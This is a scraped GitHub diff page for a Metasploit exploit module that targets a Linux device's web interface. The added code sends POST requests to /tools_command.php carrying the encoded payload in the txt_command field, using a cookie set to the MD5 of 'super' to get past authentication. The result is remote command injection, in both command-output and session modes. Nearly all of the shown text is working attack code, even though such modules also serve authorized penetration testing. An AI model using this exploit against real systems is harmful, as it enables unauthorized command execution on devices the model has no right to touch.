File tree Expand file tree Collapse file tree 1 file changed +31
-3
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +31
-3
lines changed Original file line number Diff line number Diff line change @@ -39,7 +39,12 @@ def initialize(info = {})
39
39
'Payload' =>
40
40
{
41
41
'DisableNops' => true ,
42
- 'Space' => 1024
42
+ 'Space' => 1024 ,
43
+ 'Compat' =>
44
+ {
45
+ 'PayloadType' => 'cmd' ,
46
+ #'RequiredCmd' => 'generic perl ruby python bash telnet'
47
+ }
43
48
} ,
44
49
'Platform' => 'unix' ,
45
50
'Arch' => ARCH_CMD ,
@@ -74,13 +79,20 @@ def exploit
74
79
75
80
print_status ( "#{ peer } - Exploiting..." )
76
81
77
- uri = '/tools_command.php'
82
+ if datastore [ 'CMD' ]
83
+ exploit_cmd
84
+ else
85
+ exploit_session
86
+ end
87
+ end
88
+
89
+ def exploit_cmd
78
90
beg_boundary = rand_text_alpha ( 8 )
79
91
end_boundary = rand_text_alpha ( 8 )
80
92
81
93
begin
82
94
res = send_request_cgi ( {
83
- 'uri' => uri ,
95
+ 'uri' => normalize_uri ( '/' , 'tools_command.php' ) ,
84
96
'vars_post' => {
85
97
'cmb_header' => '' ,
86
98
'txt_command' => "echo #{ beg_boundary } ; #{ payload . encoded } ; echo #{ end_boundary } "
@@ -101,4 +113,20 @@ def exploit
101
113
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
102
114
end
103
115
end
116
+
117
+ def exploit_session
118
+ begin
119
+ send_request_cgi ( {
120
+ 'uri' => normalize_uri ( '/' , 'tools_command.php' ) ,
121
+ 'vars_post' => {
122
+ 'cmb_header' => '' ,
123
+ 'txt_command' => "#{ payload . encoded } "
124
+ } ,
125
+ 'method' => 'POST' ,
126
+ 'cookie' => "p=#{ Rex ::Text . md5 ( 'super' ) } "
127
+ } , 3 )
128
+ rescue ::Rex ::ConnectionError
129
+ fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
130
+ end
131
+ end
104
132
end
You can’t perform that action at this time.
0 commit comments